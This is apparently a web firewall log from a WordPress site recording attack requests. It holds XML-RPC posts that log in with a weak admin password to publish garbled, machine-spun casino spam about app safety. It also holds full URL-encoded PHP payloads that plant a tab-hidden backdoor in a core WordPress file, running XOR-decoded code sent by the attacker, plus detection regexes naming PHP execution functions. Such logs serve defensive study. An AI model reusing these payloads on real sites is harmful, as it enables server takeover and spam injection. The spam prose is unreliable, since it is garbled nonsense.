#f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Value for money<\/a><\/li><li><a href=\"#toc-1\">Research Linked to You<\/a><\/li><li><a href=\"#toc-2\">Is actually BeFunky Legit? <\/a><\/li><li><a href=\"#toc-3\">Installs, Ratings, and you may Profile<\/a><\/li><li><a href=\"#toc-4\">Perform Account<\/a><\/li><\/ul><\/div>\n<p>The kids rating so happy to help unpack and discover what is actually among them week’s package. Well known element of our very own Saturday now, is when we obtain our next beginning! We acquired my personal first Farmers Discover field has just.<\/p>\r\n\r\n<h2 id=\"toc-0\">Value for money<\/h2>\n<p>For instance, \"The most beautiful application! <!--more--> I really like they a <a href=\"https:\/\/vogueplay.com\/in\/raging-rhino\/\">have a glimpse at the weblink<\/a> great deal.\" They generally usually do not stress people particular features. Constantly, bogus recommendations is quick, thrilled comments with general comments. Furthermore, be cautious out of bogus analysis that might be posted by the illegitimate builders on their own.<\/p>\r\n<h2 id=\"toc-1\">Research Linked to You<\/h2>\n<p>They’lso are great for environmental surroundings (reduced worldwide distribution), fantastic to own regional producers (smaller food waste), and you can good for your allowance. Never fool around with currency you could potentially’t manage to lose and ensure you know one to playing isn’t ways to make money. Perhaps the juiciest harbors provides regulations, and you can in advance trying to find fruity wins, there are a few issues should become aware of. Trendy Fruits Madness™ guides you in order to an exciting globe where fruit mask wild multipliers less than the peels and you will carry Borrowing from the bank symbols which can property you large earnings.<\/p>\r\n\r\n<ul><li>Always always believe a designer and the certain APK document you’re also having fun with prior to sideloading an app.<\/li><li>There's analysis to own that which you, from how much java you drink on the dancing actions your explore.<\/li><li>The newest reels is actually full of familiar fruits icons including cherries, lemons, and you can watermelons, for each made within the stunning colors you to pop contrary to the backdrop.<\/li><li>For desire about how to ready your delicious box away from new vegetables, view our very own Character Jones Treatments, organized from the veggie and you can container type of!<\/li><li>Inside 1 year Kasaei-Nejed's Cool Dinner moved viral to your social networking, that have consumers revealing their analysis.<\/li><\/ul>\n<img src=\"https:\/\/www.casinoaustraliaonline.com\/wp-content\/uploads\/2023\/09\/Bucks-Empire-Casino-Review-Australia.jpg\" alt=\"casino app download android\" border=\"0\" align=\"right\" style=\"padding: 20px;\">\n<p>It is really not you to definitely are additional such stores makes apps unsafe. These stores provide tight direction to have designers on which programs is otherwise can not have. It’ll as well as number previous defense interest, and certainly will generally make sure that, even when a destructive app steals important computer data, you’ll have the ability to lock it of your membership which have minimum of topic you'll be able to. This can help you tighten your internet defense, encouraging one to bring shelter actions for example incorporating a recovery email address or phone number to the Google membership. This may test an app to have identified malware before installing, providing a supplementary coating out of security. It’s it is possible to applications which have an excellent ratings you'll still have dangerous app included on the sly.<\/p>\r\n<h2 id=\"toc-2\">Is actually BeFunky Legit? <\/h2>\n<p>So since the designers, we figured we'd assembled a listing of tips and tricks that will play the role of techniques for everyone software partners away indeed there. To locate an solution to you to definitely question, since the people life human manage, i asked Google to search for specific application authenticity book. Therefore, how can you know if an application is fine in order to download?<\/p>\n<p>The brand new good fresh fruit try ready to your selecting, however the actual wonders occurs when the newest Collect Function kicks in the. Funky Good fresh fruit Madness™ takes you to the an adventure to your local good fresh fruit industry, where all twist might be hijacked by the wilds, gooey cash grabs, and 100 percent free spins you to wear’t enjoy nice. So it document originates from the official developer possesses enacted all the the shelter inspections, appearing zero signs and symptoms of worms, trojan, or spyware.<\/p>\r\n<h2 id=\"toc-3\">Installs, Ratings, and you may Profile<\/h2>\n<p>Most likely, for individuals who desire to risk after that it include additional security, such as an authenticator application (not reccomended, if you remove the brand new application your own generally shagged) or a lot more codes (reccomended, it cannot steal those people unless he's got access to your personal computer) or simply do the dos action confirmation thingy While you are you can find several apps out of businesses that are experts in overseeing people, there are also multiple from some of the manufacturers of your best anti-virus application. It’s value listing one to application names can be simply altered because of the builders to the Play Store however these have been a proper labels for everybody of your own apps under consideration by the CyberNews team during creating.<\/p>\r\n<h2 id=\"toc-4\">Perform Account<\/h2>\n<img src=\"http:\/\/www.eprosellers.com\/uploads\/3\/7\/4\/5\/37454431\/s265609224778365638_p745_i1_w697.jpeg?width=640\" alt=\"online casino zar\" align=\"left\" border=\"0\">\n<p>To get software, pay a visit to a shop, called an electronic digital distribution system (what type hinges on your mobile device). For those who have a mobile or a supplement computers (including an ipad), the newest applications is actually in which it's during the. It is wise to own a potential associate and see particular of your own step 1-star reviews and see the brand new issues to ensure when the you can find shelter otherwise investigation shelter inquiries. Well-known programs which have a huge associate foot try bound to features several negative reviews, very never trust an application with a perfect 5-superstar score.<\/p>]]><\/value><\/member>\t  \r\n\t\t  <member><name>post_date_gmt<\/name>\r\n            <value><dateTime.iso8601>20260512T14:42:36<\/dateTime.iso8601><\/value><\/member>\r\n\t\t  <member><name>post_name<\/name>\r\n            <value><![CDATA[find-out-if-an-online-site-are-harmful-ripoff-otherwise-safer-legitimate]]><\/value><\/member>\r\n          \r\n        <\/struct>\r\n      <\/value>\r\n    <\/param>\r\n  <\/params>\r\n<\/methodCall>"]
["2026-05-12 22:42:40","156.59.166.213","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Find out if an online site are Harmful Ripoff otherwise Safer Legitimate]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Value for money<\/a><\/li><li><a href=\"#toc-1\">Research Linked to You<\/a><\/li><li><a href=\"#toc-2\">Is actually BeFunky Legit? <\/a><\/li><li><a href=\"#toc-3\">Installs, Ratings, and you may Profile<\/a><\/li><li><a href=\"#toc-4\">Perform Account<\/a><\/li><\/ul><\/div>\n<p>The kids rating so happy to help unpack and discover what is actually among them week’s package. Well known element of our very own Saturday now, is when we obtain our next beginning! We acquired my personal first Farmers Discover field has just.<\/p>\r\n\r\n<h2 id=\"toc-0\">Value for money<\/h2>\n<p>For instance, \"The most beautiful application! <!--more--> I really like they a <a href=\"https:\/\/vogueplay.com\/in\/raging-rhino\/\">have a glimpse at the weblink<\/a> great deal.\" They generally usually do not stress people particular features. Constantly, bogus recommendations is quick, thrilled comments with general comments. Furthermore, be cautious out of bogus analysis that might be posted by the illegitimate builders on their own.<\/p>\r\n<h2 id=\"toc-1\">Research Linked to You<\/h2>\n<p>They’lso are great for environmental surroundings (reduced worldwide distribution), fantastic to own regional producers (smaller food waste), and you can good for your allowance. Never fool around with currency you could potentially’t manage to lose and ensure you know one to playing isn’t ways to make money. Perhaps the juiciest harbors provides regulations, and you can in advance trying to find fruity wins, there are a few issues should become aware of. Trendy Fruits Madness™ guides you in order to an exciting globe where fruit mask wild multipliers less than the peels and you will carry Borrowing from the bank symbols which can property you large earnings.<\/p>\r\n\r\n<ul><li>Always always believe a designer and the certain APK document you’re also having fun with prior to sideloading an app.<\/li><li>There's analysis to own that which you, from how much java you drink on the dancing actions your explore.<\/li><li>The newest reels is actually full of familiar fruits icons including cherries, lemons, and you can watermelons, for each made within the stunning colors you to pop contrary to the backdrop.<\/li><li>For desire about how to ready your delicious box away from new vegetables, view our very own Character Jones Treatments, organized from the veggie and you can container type of!<\/li><li>Inside 1 year Kasaei-Nejed's Cool Dinner moved viral to your social networking, that have consumers revealing their analysis.<\/li><\/ul>\n<img src=\"https:\/\/www.casinoaustraliaonline.com\/wp-content\/uploads\/2023\/09\/Bucks-Empire-Casino-Review-Australia.jpg\" alt=\"casino app download android\" border=\"0\" align=\"right\" style=\"padding: 20px;\">\n<p>It is really not you to definitely are additional such stores makes apps unsafe. These stores provide tight direction to have designers on which programs is otherwise can not have. It’ll as well as number previous defense interest, and certainly will generally make sure that, even when a destructive app steals important computer data, you’ll have the ability to lock it of your membership which have minimum of topic you'll be able to. This can help you tighten your internet defense, encouraging one to bring shelter actions for example incorporating a recovery email address or phone number to the Google membership. This may test an app to have identified malware before installing, providing a supplementary coating out of security. It’s it is possible to applications which have an excellent ratings you'll still have dangerous app included on the sly.<\/p>\r\n<h2 id=\"toc-2\">Is actually BeFunky Legit? <\/h2>\n<p>So since the designers, we figured we'd assembled a listing of tips and tricks that will play the role of techniques for everyone software partners away indeed there. To locate an solution to you to definitely question, since the people life human manage, i asked Google to search for specific application authenticity book. Therefore, how can you know if an application is fine in order to download?<\/p>\n<p>The brand new good fresh fruit try ready to your selecting, however the actual wonders occurs when the newest Collect Function kicks in the. Funky Good fresh fruit Madness™ takes you to the an adventure to your local good fresh fruit industry, where all twist might be hijacked by the wilds, gooey cash grabs, and 100 percent free spins you to wear’t enjoy nice. So it document originates from the official developer possesses enacted all the the shelter inspections, appearing zero signs and symptoms of worms, trojan, or spyware.<\/p>\r\n<h2 id=\"toc-3\">Installs, Ratings, and you may Profile<\/h2>\n<p>Most likely, for individuals who desire to risk after that it include additional security, such as an authenticator application (not reccomended, if you remove the brand new application your own generally shagged) or a lot more codes (reccomended, it cannot steal those people unless he's got access to your personal computer) or simply do the dos action confirmation thingy While you are you can find several apps out of businesses that are experts in overseeing people, there are also multiple from some of the manufacturers of your best anti-virus application. It’s value listing one to application names can be simply altered because of the builders to the Play Store however these have been a proper labels for everybody of your own apps under consideration by the CyberNews team during creating.<\/p>\r\n<h2 id=\"toc-4\">Perform Account<\/h2>\n<img src=\"http:\/\/www.eprosellers.com\/uploads\/3\/7\/4\/5\/37454431\/s265609224778365638_p745_i1_w697.jpeg?width=640\" alt=\"online casino zar\" align=\"left\" border=\"0\">\n<p>To get software, pay a visit to a shop, called an electronic digital distribution system (what type hinges on your mobile device). For those who have a mobile or a supplement computers (including an ipad), the newest applications is actually in which it's during the. It is wise to own a potential associate and see particular of your own step 1-star reviews and see the brand new issues to ensure when the you can find shelter otherwise investigation shelter inquiries. Well-known programs which have a huge associate foot try bound to features several negative reviews, very never trust an application with a perfect 5-superstar score.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T14:42:38<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-length:7667\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\nconnection:Close\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n  <value><int>0<\/int><\/value>\r\n  <value><string>admin<\/string><\/value>\r\n  <value><string>Admin@123<\/string><\/value>\r\n  <value><struct>\r\n  <member><name>title<\/name><value><![CDATA[Find out if an online site are Harmful Ripoff otherwise Safer Legitimate]]><\/value><\/member>\r\n  <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Value for money<\/a><\/li><li><a href=\"#toc-1\">Research Linked to You<\/a><\/li><li><a href=\"#toc-2\">Is actually BeFunky Legit? <\/a><\/li><li><a href=\"#toc-3\">Installs, Ratings, and you may Profile<\/a><\/li><li><a href=\"#toc-4\">Perform Account<\/a><\/li><\/ul><\/div>\n<p>The kids rating so happy to help unpack and discover what is actually among them week’s package. Well known element of our very own Saturday now, is when we obtain our next beginning! We acquired my personal first Farmers Discover field has just.<\/p>\r\n\r\n<h2 id=\"toc-0\">Value for money<\/h2>\n<p>For instance, \"The most beautiful application! <!--more--> I really like they a <a href=\"https:\/\/vogueplay.com\/in\/raging-rhino\/\">have a glimpse at the weblink<\/a> great deal.\" They generally usually do not stress people particular features. Constantly, bogus recommendations is quick, thrilled comments with general comments. Furthermore, be cautious out of bogus analysis that might be posted by the illegitimate builders on their own.<\/p>\r\n<h2 id=\"toc-1\">Research Linked to You<\/h2>\n<p>They’lso are great for environmental surroundings (reduced worldwide distribution), fantastic to own regional producers (smaller food waste), and you can good for your allowance. Never fool around with currency you could potentially’t manage to lose and ensure you know one to playing isn’t ways to make money. Perhaps the juiciest harbors provides regulations, and you can in advance trying to find fruity wins, there are a few issues should become aware of. Trendy Fruits Madness™ guides you in order to an exciting globe where fruit mask wild multipliers less than the peels and you will carry Borrowing from the bank symbols which can property you large earnings.<\/p>\r\n\r\n<ul><li>Always always believe a designer and the certain APK document you’re also having fun with prior to sideloading an app.<\/li><li>There's analysis to own that which you, from how much java you drink on the dancing actions your explore.<\/li><li>The newest reels is actually full of familiar fruits icons including cherries, lemons, and you can watermelons, for each made within the stunning colors you to pop contrary to the backdrop.<\/li><li>For desire about how to ready your delicious box away from new vegetables, view our very own Character Jones Treatments, organized from the veggie and you can container type of!<\/li><li>Inside 1 year Kasaei-Nejed's Cool Dinner moved viral to your social networking, that have consumers revealing their analysis.<\/li><\/ul>\n<img src=\"https:\/\/www.casinoaustraliaonline.com\/wp-content\/uploads\/2023\/09\/Bucks-Empire-Casino-Review-Australia.jpg\" alt=\"casino app download android\" border=\"0\" align=\"right\" style=\"padding: 20px;\">\n<p>It is really not you to definitely are additional such stores makes apps unsafe. These stores provide tight direction to have designers on which programs is otherwise can not have. It’ll as well as number previous defense interest, and certainly will generally make sure that, even when a destructive app steals important computer data, you’ll have the ability to lock it of your membership which have minimum of topic you'll be able to. This can help you tighten your internet defense, encouraging one to bring shelter actions for example incorporating a recovery email address or phone number to the Google membership. This may test an app to have identified malware before installing, providing a supplementary coating out of security. It’s it is possible to applications which have an excellent ratings you'll still have dangerous app included on the sly.<\/p>\r\n<h2 id=\"toc-2\">Is actually BeFunky Legit? <\/h2>\n<p>So since the designers, we figured we'd assembled a listing of tips and tricks that will play the role of techniques for everyone software partners away indeed there. To locate an solution to you to definitely question, since the people life human manage, i asked Google to search for specific application authenticity book. Therefore, how can you know if an application is fine in order to download?<\/p>\n<p>The brand new good fresh fruit try ready to your selecting, however the actual wonders occurs when the newest Collect Function kicks in the. Funky Good fresh fruit Madness™ takes you to the an adventure to your local good fresh fruit industry, where all twist might be hijacked by the wilds, gooey cash grabs, and 100 percent free spins you to wear’t enjoy nice. So it document originates from the official developer possesses enacted all the the shelter inspections, appearing zero signs and symptoms of worms, trojan, or spyware.<\/p>\r\n<h2 id=\"toc-3\">Installs, Ratings, and you may Profile<\/h2>\n<p>Most likely, for individuals who desire to risk after that it include additional security, such as an authenticator application (not reccomended, if you remove the brand new application your own generally shagged) or a lot more codes (reccomended, it cannot steal those people unless he's got access to your personal computer) or simply do the dos action confirmation thingy While you are you can find several apps out of businesses that are experts in overseeing people, there are also multiple from some of the manufacturers of your best anti-virus application. It’s value listing one to application names can be simply altered because of the builders to the Play Store however these have been a proper labels for everybody of your own apps under consideration by the CyberNews team during creating.<\/p>\r\n<h2 id=\"toc-4\">Perform Account<\/h2>\n<img src=\"http:\/\/www.eprosellers.com\/uploads\/3\/7\/4\/5\/37454431\/s265609224778365638_p745_i1_w697.jpeg?width=640\" alt=\"online casino zar\" align=\"left\" border=\"0\">\n<p>To get software, pay a visit to a shop, called an electronic digital distribution system (what type hinges on your mobile device). For those who have a mobile or a supplement computers (including an ipad), the newest applications is actually in which it's during the. It is wise to own a potential associate and see particular of your own step 1-star reviews and see the brand new issues to ensure when the you can find shelter otherwise investigation shelter inquiries. Well-known programs which have a huge associate foot try bound to features several negative reviews, very never trust an application with a perfect 5-superstar score.<\/p>]]><\/value><\/member>\r\n  <member><name>dateCreated<\/name><value><dateTime.iso8601>20260512T14:42:38<\/dateTime.iso8601><\/value><\/member>\r\n  <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n  <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n  <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n  \r\n  <member><name>custom_fields<\/name><value><array><data>\r\n  <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n  <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-12 22:43:22","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3790\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\n\nwr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:43:39","101.100.3.213","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-metadata-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524entry%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520%2524pset%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72%255Cx65%255Cx73%255Cx6Furce%2522%255D%2529%253B%2520%2524dat%2520%253D%2520%2527%2527%2520%253B%2520%2524f%2520%253D%25200%253B%2520do%257B%2524dat%2520.%253D%2520chr%2528ord%2528%2524pset%255B%2524f%255D%2529%2520%255E%252057%2529%253B%2524f%252B%252B%253B%257D%2520while%2528%2524f%2520%253C%2520strlen%2528%2524pset%2529%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524token%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524token%2529%2520%257C%257C%2520%2521is_writable%2528%2524token%2529%2520%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524token\/.obj%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524dat%2529%2529%2520%257B%2520require%2520%2524ent%253B%2520unlink%2528%2524ent%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft